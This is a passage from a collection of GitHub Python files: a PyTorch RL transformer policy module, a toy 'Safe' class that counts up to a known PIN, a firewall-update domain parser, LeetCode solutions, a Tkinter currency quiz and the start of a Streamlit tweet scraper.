\"+p2route[\"target\"]\n printline=\"\"\n for p1route in routes[\"p1\"]:\n if p1route[\"target\"] == p2route[\"source\"]:\n # find original\n p1title = \"p1Source: \"+p1route[\"source\"]+\",p1Target: \"+p1route[\"target\"]\n r,p =st.pearsonr(p2route[\"valuelist\"], p1route[\"valuelist\"]) \n AllCorrelationlist.append(r)\n printline+=title+\"\\t\"+p1title+\"\\t\"+str(r)+\"\\t\"+str(p)+\"\\n\"\n if len(printline)==0:\n printline+=title+\"\\n\"\n outputfile.write(printline)\n\n kwargs = dict(histtype='stepfilled', alpha=0.3, bins=50) \n plt.figure()\n plt.hist(AllCorrelationlist, **kwargs)\n plt.savefig(figname)\n plt.close()\n\n\nif __name__==\"__main__\":\n pathwaysocrefile=\"C:/Users/whl19/Documents/Code/GenebetweenPathways/Resultcombine/3-16-2021_GSE115469_inflamtory/RouteScore.txt\" \n P1p2fileoutput=\"C:/Users/whl19/Documents/Code/GenebetweenPathways/Resultcombine/3-16-2021_GSE115469_inflamtory/OriginalCorrelation.txt\" \n figname = \"C:/Users/whl19/Documents/Code/GenebetweenPathways/Resultcombine/3-16-2021_GSE115469_inflamtory/OriginalCorfig.jpg\" \n getnoticep2(pathwaysocrefile,P1p2fileoutput,figname)\n\n \n\n\n \n \n\n \n\n\n","repo_name":"Harry-Wang12/ctBuilder","sub_path":"code/Pyscript/RevisePathway/FindnoticeableP2.py","file_name":"FindnoticeableP2.py","file_ext":"py","file_size_in_byte":2837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"15862766859","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 16 13:55:32 2020\n\n@author: Markus\n\"\"\"\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision.transforms import transforms \nimport random\nimport numpy as np\nimport math\nfrom projectutils import make_env, Storage, orthogonal_init\nimport matplotlib.image as mpimg\n\n################ Print images code\n# for i in storage.prev_obs[0,1]:\n# i = torch.transpose(i,0,2)\n# i = torch.transpose(i,0,1)\n# plt.imshow(i)\n# plt.show()\n\n\nclass Flatten(nn.Module):\n def forward(self, x):\n return x.view(x.size(0), -1)\n\nclass ImageSplit(nn.Module):\n def __init__(self,img_height,img_width,vertical_splits, horizontal_splits): \n super().__init__()\n self.img_height = img_height\n self.img_width = img_width\n self.vertical_splits = vertical_splits\n self.horizontal_splits = horizontal_splits\n \n assert( float(img_height // vertical_splits) == (img_height / vertical_splits)), \"img_heaight should be divisible by vertical_splits\"\n assert( float(img_width // horizontal_splits) == (img_width / horizontal_splits)), \"img_width should be divisible by horizontal_splits\"\n \n self.split_height = int(img_height / vertical_splits)\n self.split_length = int(img_width / horizontal_splits)\n self.image_split = []\n \n def forward(self,x):\n self.image_split = []\n \n for i in range(self.vertical_splits):\n for j in range(self.horizontal_splits):\n self.image_split.append(x[:,:,i*self.split_height:(i+1)*self.split_height,j*self.split_length:(j+1)*self.split_length])\n \n return torch.stack(self.image_split,1)\n\ndef CalculateConvDim(dimension, kernel_size, stride, padding, pool_stride, pool_kernel, pool_padding):\n if (dimension - kernel_size) % stride != 0:\n print(\"Kernel_size, Stride and image dimension does not fit.\")\n return False\n else:\n AfterConv = 1 + int((dimension-kernel_size+padding*2)/stride)\n\n if (AfterConv - pool_kernel) % pool_stride != 0:\n print(\"Pool Stride and Kernel does not fit AfterConv dimension\")\n return False\n \n AfterPool = 1 + int((AfterConv-pool_kernel+pool_padding*2)/pool_stride)\n return AfterPool\n\nclass Encoder2(nn.Module):\n def __init__(self, in_channels, encoder_out_dim):\n super().__init__()\n self.layers = nn.Sequential(\n nn.Conv2d(in_channels=in_channels, out_channels=32, kernel_size=4, stride=2), nn.ReLU(),\n nn.Conv2d(in_channels=32, out_channels=64, kernel_size=3, stride=1), nn.ReLU(),\n nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, stride=1), nn.ReLU(),\n Flatten(),\n nn.Linear(in_features=576, out_features=encoder_out_dim), nn.ReLU()\n )\n self.apply(orthogonal_init)\n\n def forward(self, x):\n return self.layers(x)\n\nclass Encoder3(nn.Module):\n def __init__(self, in_channels, encoder_out_dim):\n super().__init__()\n self.layers = nn.Sequential(\n nn.Conv2d(in_channels=in_channels, out_channels=32, kernel_size=3, stride=2), nn.ReLU(),\n nn.Conv2d(in_channels=32, out_channels=64, kernel_size=3, stride=1), nn.ReLU(),\n Flatten(),\n nn.Linear(in_features=320, out_features=encoder_out_dim), nn.ReLU()\n )\n self.apply(orthogonal_init)\n\n def forward(self, x):\n return self.layers(x)\n\nclass ActionEncoder(nn.Module):\n def __init__(self, in_features, l1_features, l2_features, out_features):\n super().__init__()\n self.layers = nn.Sequential(\n nn.Linear(in_features, l1_features), nn.ReLU(),\n nn.Linear(l1_features, l2_features), nn.ReLU(),\n nn.Linear(l2_features, out_features), nn.ReLU(),\n )\n \n self.apply(orthogonal_init)\n \n def forward(self, x):\n return self.layers(x)\n \nclass BaselineEncoder(nn.Module):\n def __init__(self, in_channels, feature_dim):\n super().__init__()\n self.layers = nn.Sequential(\n nn.Conv2d(in_channels=in_channels, out_channels=32, kernel_size=8, stride=4), nn.ReLU(),\n nn.Conv2d(in_channels=32, out_channels=64, kernel_size=4, stride=2), nn.ReLU(),\n nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, stride=1), nn.ReLU(),\n Flatten(),\n nn.Linear(in_features=1024, out_features=feature_dim), nn.ReLU()\n )\n self.apply(orthogonal_init)\n\n def forward(self, x):\n return self.layers(x)\n\nclass BaselinePolicy(nn.Module):\n def __init__(self, encoder, feature_dim, num_actions):\n super().__init__()\n self.encoder = encoder\n self.policy = orthogonal_init(nn.Linear(feature_dim, num_actions), gain=.01)\n self.value = orthogonal_init(nn.Linear(feature_dim, 1), gain=1.)\n\n def act(self, x):\n with torch.no_grad():\n x = x.cuda().contiguous()\n dist, value = self.forward(x)\n action = dist.sample()\n log_prob = dist.log_prob(action)\n \n return action.cpu(), log_prob.cpu(), value.cpu()\n\n def forward(self, x):\n x = self.encoder(x)\n logits = self.policy(x)\n value = self.value(x).squeeze(1)\n dist = torch.distributions.Categorical(logits=logits)\n\n return dist, value\n \nclass DataAugmentation(nn.Module):\n def __init__(self, brightness, p_bright, contrast, p_contr, saturation, p_satur, hue, p_hue, augment_prob):\n super().__init__()\n self.p_bright = p_bright\n self.p_contr = p_contr\n self.p_satur = p_satur\n self.p_hue = p_hue\n self.augment_prob = augment_prob\n self.to_tensor = transforms.ToTensor()\n self.to_pilimg = transforms.ToPILImage()\n self.brightness = transforms.Compose([transforms.ColorJitter(brightness = brightness)])\n self.contrast = transforms.ColorJitter(contrast = contrast)\n self.saturation = transforms.ColorJitter(saturation = saturation)\n self.hue = transforms.ColorJitter(hue = hue)\n \n def forward(self, x):\n img_list = [i for i in x]\n x = []\n for i in img_list:\n if random.random() < self.augment_prob:\n i = self.to_pilimg(i)\n if random.random() < self.p_bright:\n i = self.brightness(i)\n if random.random() < self.p_contr:\n i = self.contrast(i)\n if random.random() < self.p_satur:\n i = self.saturation(i)\n if random.random() < self.p_hue:\n i = self.hue(i)\n i = self.to_tensor(i)\n x.append(i)\n else:\n x.append(i)\n \n x = torch.stack(x,0)\n return x\n \nclass PositionalEncoder(nn.Module):\n def __init__(self, d_model, max_splits = 80):\n super().__init__()\n self.d_model = d_model\n \n # create constant 'pe' matrix with values dependant on \n # pos and i\n pe = torch.zeros(max_splits, d_model)\n for pos in range(max_splits):\n for i in range(0, d_model, 2):\n pe[pos, i] = math.sin(pos / (10000 ** ((2 * i)/d_model)))\n pe[pos, i + 1] = math.cos(pos / (10000 ** ((2 * (i + 1))/d_model)))\n \n pe = pe.unsqueeze(0)\n self.register_buffer('pe', pe)\n \n \n def forward(self, x):\n # make embeddings relatively larger\n x = x * math.pow(self.d_model,1/3)\n #add constant to embedding\n seq_len = x.size(1)\n x = x + self.pe[:,:seq_len].clone().detach().cuda()\n return x\n\nclass MultiHeadAttention(nn.Module):\n def __init__(self, heads, d_model, dropout = 0.1):\n super().__init__()\n \n self.d_model = d_model\n self.head_dim = d_model // heads\n self.heads = heads\n \n assert (self.head_dim * self.heads == self.d_model), \"dimension of embeddings, should be divisible by heads\"\n \n self.q_linear = nn.Linear(self.head_dim, self.head_dim)\n self.v_linear = nn.Linear(self.head_dim, self.head_dim)\n self.k_linear = nn.Linear(self.head_dim, self.head_dim)\n self.dropout = nn.Dropout(dropout)\n self.fc_out = nn.Linear(self.heads*self.head_dim, self.d_model)\n\n def forward(self, values, keys, query, mask = None):\n # Get number of env running at the same time\n batch_n = query.shape[0]\n\n value_len, key_len, query_len = values.shape[1], keys.shape[1], query.shape[1]\n\n # Reshape into head dimensions\n values = values.reshape(batch_n, value_len, self.heads, self.head_dim)\n keys = keys.reshape(batch_n, key_len, self.heads, self.head_dim)\n query = query.reshape(batch_n, query_len, self.heads, self.head_dim)\n\n values = self.v_linear(values) # (batch_n, value_len, heads, head_dim)\n keys = self.k_linear(keys) # (batch_n, key_len, heads, head_dim)\n queries = self.q_linear(query) # (batch_n, query_len, heads, heads_dim)\n\n # Einsum does matrix mult. for query*keys for each training example\n # with every other training example, don't be confused by einsum\n # it's just how I like doing matrix multiplication & bmm\n\n energy = torch.einsum(\"nqhd,nkhd->nhqk\", [queries, keys]) # Equivalent til prikke alle 64,16 ved q med 64,16 ved k, og få 16x16 matricer ud\n \n if mask != None:\n energy = energy.masked_fill(mask == 0, float(\"-1e20\"))\n \n # Normalize energy values similarly to seq2seq + attention\n # so that they sum to 1. Also divide by scaling factor for\n # better stability\n attention = torch.softmax(energy / (self.d_model ** (1 / 2)), dim=3)\n # attention shape: (N, heads, query_len, key_len)\n\n out = torch.einsum(\"nhql,nlhd->nqhd\", [attention, values]).reshape(\n batch_n, query_len, self.heads * self.head_dim\n )\n # attention shape: (N, heads, query_len, key_len)\n # values shape: (N, value_len, heads, heads_dim)\n # out after matrix multiply: (N, query_len, heads, head_dim), then\n # we reshape and flatten the last two dimensions.\n\n out = self.fc_out(out)\n # Linear layer doesn't modify the shape, final shape will be\n # (N, query_len, embed_size)\n\n return out\n\nclass TransformerBlock(nn.Module):\n def __init__(self, attention, d_model, dropout, forward_scale):\n super().__init__()\n self.attention = attention\n self.norm1 = nn.LayerNorm(d_model)\n self.norm2 = nn.LayerNorm(d_model)\n\n self.feed_forward = nn.Sequential(\n nn.Linear(d_model, forward_scale * d_model),\n nn.ReLU(),\n nn.Linear(forward_scale * d_model, d_model),\n )\n\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, value, key, query, mask = None):\n attention = self.attention(value, key, query, mask)\n\n # Add skip connection, run through normalization and finally dropout\n x = self.dropout(self.norm1(attention + query))\n forward = self.feed_forward(x)\n out = self.dropout(self.norm2(forward + x))\n return out\n \nclass TransformerBlock_wo_addition(nn.Module):\n def __init__(self, attention, d_model, dropout, forward_scale):\n super().__init__()\n self.attention = attention\n self.norm1 = nn.LayerNorm(d_model)\n self.norm2 = nn.LayerNorm(d_model)\n\n self.feed_forward = nn.Sequential(\n nn.Linear(d_model, forward_scale * d_model),\n nn.ReLU(),\n nn.Linear(forward_scale * d_model, d_model),\n )\n\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, value, key, query, mask = None):\n attention = self.attention(value, key, query, mask)\n\n # Add skip connection, run through normalization and finally dropout\n x = self.dropout(self.norm1(attention))\n forward = self.feed_forward(x)\n out = self.dropout(self.norm2(forward + x))\n return out\n\nclass Policy4(nn.Module):\n def __init__(self, image_split, encoder, pos_encoder, transformer_block, encoder_out_dim, num_actions):\n super().__init__()\n self.image_split = image_split\n self.encoder = encoder\n self.pos_encoder = pos_encoder\n self.transformer_block = transformer_block\n self.policy = orthogonal_init(nn.Linear(encoder_out_dim, num_actions), gain=.01)\n self.value = orthogonal_init(nn.Linear(encoder_out_dim, 1), gain=1.)\n\n def act(self, x):\n with torch.no_grad():\n x = x.cuda().contiguous()\n dist, value = self.forward(x)\n action = dist.sample()\n log_prob = dist.log_prob(action)\n \n return action.cpu(), log_prob.cpu(), value.cpu()\n\n def forward(self, x):\n x = self.image_split(x)\n \n n = x.shape[0]\n splits = x.shape[1]\n \n x = torch.reshape(x,(x.shape[0]*x.shape[1],x.shape[2],x.shape[3],x.shape[4]))\n x = self.encoder(x)\n x = torch.reshape(x,(n,splits,x.shape[1]))\n x = self.pos_encoder(x)\n \n x = self.transformer_block(x,x,x)\n \n x = x.view(x.size(0), -1)\n \n logits = self.policy(x)\n value = self.value(x).squeeze(1)\n dist = torch.distributions.Categorical(logits=logits)\n\n return dist, value\n\nclass Policy5(nn.Module):\n def __init__(self, image_split, encoder, action_encoder, pos_encoder_img, pos_encoder_seq, transformer_block_img, transformer_block_seq, encoder_out_dim_img, encoder_out_dim_seq, num_actions):\n super().__init__()\n self.image_split = image_split\n self.encoder = encoder\n self.action_encoder = action_encoder\n self.pos_encoder_img = pos_encoder_img\n self.pos_encoder_seq = pos_encoder_seq\n self.transformer_block_img = transformer_block_img\n self.transformer_block_seq = transformer_block_seq\n self.linear = orthogonal_init(nn.Linear(encoder_out_dim_seq, int(encoder_out_dim_seq/2)), gain=.01)\n self.policy = orthogonal_init(nn.Linear(int(encoder_out_dim_seq/2), num_actions), gain=.01)\n self.value = orthogonal_init(nn.Linear(int(encoder_out_dim_seq/2), 1), gain=1.)\n\n def act(self, x, actions, action_mask = None):\n with torch.no_grad():\n x = x.cuda().contiguous()\n dist, value = self.forward(x, actions, action_mask)\n action = dist.sample()\n log_prob = dist.log_prob(action)\n \n return action.cpu(), log_prob.cpu(), value.cpu()\n\n def forward(self, x, actions, action_mask = None):\n x = self.image_split(x)\n \n n = x.shape[0]\n splits = x.shape[1]\n \n x = torch.reshape(x,(x.shape[0]*x.shape[1],x.shape[2],x.shape[3],x.shape[4]))\n x = self.encoder(x)\n x = torch.reshape(x,(n,splits,x.shape[1]))\n x = self.pos_encoder_img(x)\n \n x = self.transformer_block_img(x,x,x)\n \n x = x.view(x.size(0), -1)\n \n n_act = actions.shape[0]\n act_back = actions.shape[1]\n \n act = torch.reshape(actions, (actions.shape[0]*actions.shape[1],actions.shape[2]))\n act = self.action_encoder(act)\n act = torch.reshape(act,(n_act,act_back,act.shape[1]))\n act = self.pos_encoder_seq(act)\n \n act = self.transformer_block_seq(act,act,act, action_mask)\n \n act = act.view(act.size(0), -1)\n \n x = torch.cat([x,act],dim=1)\n \n x = F.relu(self.linear(x))\n \n logits = F.softmax(self.policy(x),dim=1)\n value = self.value(x).squeeze(1)\n dist = torch.distributions.Categorical(logits=logits)\n\n return dist, value\n","repo_name":"Markusssorensen/procgen","sub_path":"modelutils.py","file_name":"modelutils.py","file_ext":"py","file_size_in_byte":15367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72718909574","text":"x = int(input()) \r\ndict = {\r\n 61:'Brasilia',\r\n 71:'Salvador',\r\n 11:'Sao Paulo',\r\n 21:'Rio de Janeiro',\r\n 32:'Juiz de Fora',\r\n 19:'Campinas',\r\n 27:'Vitoria',\r\n 31:'Belo Horizonte'\r\n}\r\nif x not in dict:\r\n print(\"DDD nao cadastrado\")\r\nelse:\r\n print(dict[x]) ","repo_name":"SomenChowdhuy/beecrowdCodes1","sub_path":"1050.py","file_name":"1050.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"30774537247","text":"#Maxwell Parker\r\n#Assignment 10.1: Your Own Class\r\n#This code is a sample script for a class that creates a safe to store your belongings\r\n\r\n#importing time module\r\nimport time\r\n#importing randint from random module\r\nfrom random import randint\r\n\r\n'''Safe class'''\r\nclass Safe:\r\n #initializing count, which adds 1 to the current pin after every iteration\r\n count = 0\r\n #initializing starting number, the beginning number for code_breaker to start iterating from\r\n start_num = \"0\"\r\n #initializing random numbers which determine whether the trapped_safe function occurs and what it returns\r\n rand_num = randint(1,2)\r\n second_rand_num = randint(1,2)\r\n \r\n #constructor method\r\n def __init__(self, pin=\"1234\", color=\"Black\", contents=\"nothing\"):\r\n #initializing color of safe\r\n self.__color = color\r\n #initializing pin number for use in code_breaker function\r\n self.__pin = pin\r\n #initializing code range, the highest number to iterate to in code_breaker\r\n self.__code_range = int(\"1\" + (len(self.__pin) * \"0\"))\r\n #initializing contents of safe\r\n self.__contents = contents\r\n \r\n #get_color function: returns color of safe\r\n def get_color(self):\r\n return self.__color\r\n #set_color function: sets the color of the safe\r\n def set_color(self, color):\r\n self.__color = color\r\n #get_contents function: returns contents of safe\r\n def get_contents(self):\r\n return self.__contents\r\n #set_contents function: sets the contents of the safe\r\n def set_contents(self, contents):\r\n self.__contents = contents\r\n \r\n #code_breaker function: takes the pin number, iterates through all possible number combinations of pin length until the pin is found\r\n def code_breaker(self):\r\n #creates a start time for the beginning time of the function\r\n start = time.time()\r\n #iterates through each number combination in code range\r\n for i in range(self.__code_range):\r\n #iterates through each number in starting number\r\n for num in Safe.start_num:\r\n #creates a pin number that increases by 1 every iteration, with leading zeros the length of the original pin\r\n current_pin = str(int(Safe.start_num) + Safe.count).zfill(len(self.__pin))\r\n #if the iterated pin is the same as the inputted pin\r\n if current_pin == self.__pin:\r\n #creates an end time for the end of the function\r\n end = time.time()\r\n #total time for function to finish\r\n total_time = round((end - start), 3)\r\n #if the total time < 0.001 seconds\r\n if (end-start) < 0.001:\r\n #return string with current pin\r\n return f\"Safe unlocked! The code is {current_pin}. \\ntime taken to crack code: < 0.001 seconds\"\r\n else:\r\n #return string with current pin and total time for code to be found\r\n return f\"Safe unlocked! the code is {current_pin}. \\ntime taken to crack code: {total_time} seconds\" \r\n else:\r\n #adds 1 to the count\r\n Safe.count += 1\r\n #prints each iterated pin on the same line until code is found\r\n print(f\"Current number: {current_pin}\", end=\"\\r\")\r\n \r\n #trapped_safe function: returns string saying the safe was trapped, counts down from 10 to 0, returns string saying \"BOOM!\" or \"Just kidding!\" depending on second_rand_num\r\n def trapped_safe(self):\r\n print(\"The safe was trapped...Dear God...\")\r\n #iterates through each number in this range from 10 to -1, counting down\r\n for i in range(10, -1, -1):\r\n #prints iterated number denoting time till explosion, is replaced by next iterated number until finished\r\n print(f\"explosion in {i}...\", end=\"\\r\")\r\n #stops counting for 1 second\r\n time.sleep(1)\r\n #if the second random number is 1\r\n if Safe.second_rand_num == 1:\r\n #explosion\r\n return \"\\nBOOM!\"\r\n #the second random number is not 1\r\n else:\r\n #prank trapped safe\r\n return \"\\nJust kidding!\"\r\n\r\n\r\n'''main function'''\r\ndef main():\r\n #calls safe class without pin input argument\r\n color_call = Safe()\r\n #calls set_color function to change the safe's color to white\r\n color_call.set_color(\"White\")\r\n #returns color of safe\r\n print(f\"Safe color: {color_call.get_color()}\")\r\n #asks user to input PIN number\r\n pin_prompt = input(\"Type a PIN number here: \")\r\n #try statement to handle errors\r\n try:\r\n #if pin_prompt can be cast into an int and is greater than or equal to zero\r\n if int(pin_prompt) >= 0:\r\n #calls safe class with pin input argument\r\n call_class = Safe(pin_prompt)\r\n #prints code_breaker function\r\n print(call_class.code_breaker())\r\n #if the random number in the Safe class is 2\r\n if Safe.rand_num == 2:\r\n #print the trapped safe function\r\n print(call_class.trapped_safe())\r\n #if the random number in the Safe clas isn't 2\r\n else:\r\n #calls set_contents function with a list of items as input\r\n call_class.set_contents([\"$3000\", \"stuffed teddy bear\", \"3 gold bars\", \"family photo\"])\r\n #if the type of the contents in safe is a string\r\n if type(call_class.get_contents()) == str:\r\n #prints contents of safe\r\n print(f\"contents of safe: {call_class.get_contents()}\")\r\n #if the type of contents in safe is a list\r\n elif type(call_class.get_contents()) == list:\r\n #adds each entry in the list of contents to a string, separated by \", \"\r\n contents_string = \", \".join(call_class.get_contents())\r\n #prints contents of safe\r\n print(f\"contents of safe: {contents_string}\")\r\n #if the contents in the safe are neither list nor string\r\n else:\r\n print(\"The contents you set is invalid. The contents must be a string or a list containing only strings.\")\r\n return None\r\n #pin_prompt is not greater than or equal to zero\r\n else:\r\n print(\"The PIN number you entered is invalid. The PIN number must be a number that is greater than or equal to 0\")\r\n return None\r\n #an error was raised because pin_prompt couldn't be cast as an int\r\n except:\r\n print(\"The PIN number you entered is invalid. The PIN number must be a number that is greater than or equal to 0\")\r\n return None\r\n \r\n\r\n'''calling main'''\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"MisterPickler/Safe-class","sub_path":"your_own_class.py","file_name":"your_own_class.py","file_ext":"py","file_size_in_byte":6900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"43244583608","text":"import logging\nfrom logging.config import dictConfig\nimport os\nfrom threading import Thread\nimport re\n\nfrom bs4 import BeautifulSoup\nfrom dotenv import load_dotenv\n\nfrom scraper import EngToolsDownloader\n\n\n\nhome = os.getenv('HOME')\ndot = os.getenv('PWD')\nenv_path = os.path.join(dot, 'src', 'lib', '.defaultrc')\nload_dotenv(dotenv_path=env_path, verbose=True)\nenv_path = os.path.join(home, '.panrc')\nload_dotenv(dotenv_path=env_path, verbose=True, override=True)\n\n\ndictConfig({\n 'version': 1,\n 'formatters': {'default': {\n 'format': '[%(asctime)s] %(levelname)s in %(module)s: %(message)s',\n }},\n 'handlers': {'wsgi': {\n 'class': 'logging.StreamHandler',\n 'stream': 'ext://sys.stdout',\n 'formatter': 'default'\n }},\n 'root': {\n 'level': os.getenv('LOGGING_LEVEL'),\n 'handlers': ['wsgi']\n }\n})\n\n\n\ndef parse(soup, pattern, array):\n '''\n Pulls all domains of one type from the soup and then writes them to the array.\n\n Keyword arguments:\n soup -- the soup to parse\n pattern -- the section header pattern to find in the soup\n array -- the array to put items in after they have been parsed\n '''\n # Pull out a list of tds from parse tree\n try:\n header = soup.find('h3', text=pattern)\n tds = header.find_next_sibling('table').find_all('td')\n\n # Get domains from table entries\n for td in tds:\n raw_scrape = td.string\n # Extract domains from \"Suspicious DNS Query\" parentheses\n result = re.search(r'\\((.*)\\)', raw_scrape)\n if result is None:\n split = raw_scrape.split(':')\n else:\n split = result.group(1).split(':')\n if 'Backdoor' in split[0] or 'Virus' in split[0] or 'generic' in split[0]:\n array.append(split[1])\n\n except Exception as e:\n logging.error(f\"Parse of failed. \"\n \"Are you sure this HTML file is the right format?\")\n logging.error(e)\n # If we can't parse out domains, this suggests a fundamental document\n # format change requiring more maintenance than a simple retry. Get a human to look at this.\n raise e\n\n\n\nif __name__ == '__main__':\n # If the number of domains requested is not a number, output all the domains.\n try:\n num_output = int(os.getenv('NUM_DOMAINS_OUTPUT'))\n except ValueError:\n num_output = None\n\n scraper = EngToolsDownloader(ip=os.getenv('FW_IP'), username=os.getenv('FW_USERNAME'),\n password=os.getenv('FW_PASSWORD'),\n download_dir=os.getenv('DOWNLOAD_DIR'))\n scraper.download_release()\n\n\n # Open version file\n path = f\"{os.getenv('DOWNLOAD_DIR')}/Updates_{scraper.latest_version}.html\"\n\n try:\n data = open(path)\n except Exception as e:\n logging.error(f\"Issue opening provided file at {path}.\")\n raise e # Reraise so the script stops\n\n # Parse file\n soup = BeautifulSoup(data, 'html5lib')\n\n\n # Domains go in here after being parsed out\n all_domains = []\n\n # Just parse added\n parse(soup, re.compile(os.getenv('ADD_REGEX')), all_domains)\n\n\n # Write both added and removed arrays to file.\n write_path = f\"{os.getenv('PARSED_DIR')}/parsed.txt\"\n try:\n outfile = open(write_path, 'w')\n except Exception as e:\n logging.error(f\"Issue creating a new file as {write_path}.\")\n raise e\n\n for domain in all_domains[:num_output]:\n outfile.write(f\"{domain}\\n\")\n\n outfile.close()\n logging.info(f\"Finished running. Find your new domains at {write_path}.\")\n","repo_name":"GiselleSerate/pandorica","sub_path":"src/to_file_parser.py","file_name":"to_file_parser.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"5831840253","text":"'''\r\n统计一个数字在排序数组中出现的次数。\r\n\r\n\r\n\r\n示例 1:\r\n\r\n输入: nums = [5,7,7,8,8,10], target = 8\r\n输出: 2\r\n示例 2:\r\n\r\n输入: nums = [5,7,7,8,8,10], target = 6\r\n输出: 0\r\n\r\n\r\n限制：\r\n\r\n0 <= 数组长度 <= 50000\r\n'''\r\nfrom typing import List\r\n\r\nfrom leetcode.tools.time import printTime\r\n\r\n\r\nclass Solution:\r\n @printTime()\r\n def search(self, nums: List[int], target: int) -> int:\r\n self.len = len(nums)\r\n if self.len == 0:\r\n return 0\r\n left = 0\r\n right = self.len - 1\r\n while left < right:\r\n mid = (left + right) >> 1\r\n if nums[mid] < target:\r\n left = mid + 1\r\n else:\r\n right = mid\r\n t1 = left\r\n left = t1\r\n right = self.len - 1\r\n while left < right:\r\n mid = (left + right) >> 1\r\n if nums[mid] > target:\r\n right = mid\r\n else:\r\n left = mid + 1\r\n return (left - t1 + 1) if nums[left] == target else left - t1\r\n\r\nnums = [4,5,5]\r\ntarget = 5\r\nSolution().search(nums, target)","repo_name":"CrzRabbit/Python","sub_path":"leetcode/interview question/剑指 Offer 53 - I. 在排序数组中查找数字 I.py","file_name":"剑指 Offer 53 - I. 在排序数组中查找数字 I.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"31200062792","text":"#!/usr/bin/env python3\n################################################################################\n# game_gui.py\n#\n# Game view\n#\n# 02.08.2018 Created by: rada\n################################################################################\nfrom tkinter import *\nfrom game import *\n\nclass GameGUI():\n def __init__(self, master, game):\n self.master = master\n \n # Default attributes\n self.master.title = \"Назовите валюту страны\"\n self.master.geometry(self.center(master))\n self.master.attributes('-topmost', True)\n self.master.config(background='lightblue')\n\n # Widgets\n self.top_frame = Frame(self.master, width=300, height=400, bg='pink')\n self.top_frame.grid(row=0, sticky=W)\n \n self.label_question = Label(self.top_frame, text=\"Страна\", background='lightblue')\n self.label_question.grid(row=0, sticky=E)\n \n self.question_box = Text(self.top_frame, width=20, height=1, bg='light grey')\n self.question_box.grid(row=0, column=1, sticky=W)\n \n self.label_reply = Label(self.top_frame, text=\"Введите валюту\", background='lightblue')\n self.label_reply.grid(row=0, column=2, sticky=E)\n \n self.reply_box = Entry(self.top_frame, width=20, bg='light grey', bd=5)\n self.reply_box.grid(row=0, column=3, sticky=W)\n \n self.button_reply = Button(self.top_frame, text='Ответить', command=game.reply)\n self.button_reply.grid(row=0, column=4, sticky=E)\n self.button_reply.config(state=DISABLED)\n \n self.result_box = Text(self.top_frame, width=90, height=20, bg='cyan')\n self.result_box.grid(row=1, columnspan=5, sticky=W)\n \n self.bottom_frame = Frame(self.master, width=300, height=400, bg='light green')\n self.bottom_frame.grid(row=2, sticky=W)\n \n self.button_quit = Button(self.bottom_frame, text='Закончить', command=game.quit)\n self.button_quit.grid(row=0, column=1, sticky=E)\n\n self.button_start = Button(self.bottom_frame, text='Начать', command=lambda: game.start(self))\n self.button_start.grid(row=0, column=0, sticky=E) \n \n def center(self, master):\n master_width = 800\n master_height = 600\n \n screen_width = master.winfo_screenwidth()\n screen_height = master.winfo_screenheight()\n\n master_x = (screen_width - master_width)/2\n master_y = (screen_height - master_height)/2\n return('%dx%d+%d+%d' % (master_width, master_height, master_x, master_y))\n","repo_name":"radatelyukova/Currency","sub_path":"currency/game_gui.py","file_name":"game_gui.py","file_ext":"py","file_size_in_byte":2654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"12603207780","text":"class ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n def __repr__(self):\n tmp = []\n node = self\n max_depth = 20\n while node:\n max_depth -= 1\n if max_depth < 0:\n break\n tmp.append(repr(node.val))\n node = node.next\n else:\n tmp.append('None')\n return ' -> '.join(tmp)\n\n\ndef build_list_node(nums):\n head = node = ListNode(None)\n for i in nums:\n node.next = ListNode(i)\n node = node.next\n return head.next\n\n\ndef reverse_link_list(head):\n cur, prev = head, None\n while cur:\n cur.next, prev, cur = prev, cur, cur.next\n # a = cur.next\n # b = prev\n # c = cur\n # cur.next = b\n # prev = c\n # cur = a\n return prev\n\n\nl = build_list_node(range(1, 10))\n\nprint(reverse_link_list(l))\n","repo_name":"ruanimal/vscode-leetcode-cn","sub_path":"template/反转链表.py","file_name":"反转链表.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"12535893392","text":"#TWITTER_SCRAPING\n\n#Import_required_modules\nimport pandas as pd\nfrom pymongo import MongoClient\nimport streamlit as st\nimport time\nimport snscrape.modules.twitter as sntwitter\n\ndef main():\n menu = [\"HOME\",\"ABOUT\"]\n choice = st.sidebar.selectbox(\"MENU\",menu)\n\n if choice == \"HOME\":\n col1,col2,col3,col4,col5=st.columns(5)\n with col2:\n st.image(\"https://media.giphy.com/media/SMKiEh9WDO6ze/giphy.gif\")\n\n with col3:\n st.title('TWITTER_SCRAP')\n\n # Get input from user \n hashtag=st.text_input('Enter the Username or Hashtag(#example) ')\n tconut=st.number_input(\"Tweet count need to scraped\",0,1000000)\n from_date=st.date_input(\"Since\")\n end_date=st.date_input(\"Until\")\n \n #create a scrap button\n load=st.button('SCRAP')\n #initialize session state\n if \"load_state\" not in st.session_state:\n st.session_state.load_state=False\n \n if load or st.session_state.load_state :\n st.session_state.load_state=True\n \n \n need=(f'{hashtag} since:{from_date} until:{end_date}')\n tweets = []\n for tweet in sntwitter.TwitterSearchScraper(need).get_items():\n if len(tweets)== tconut:\n break\n else:\n tweets.append({'date': tweet.date, 'id': tweet.id, 'url': 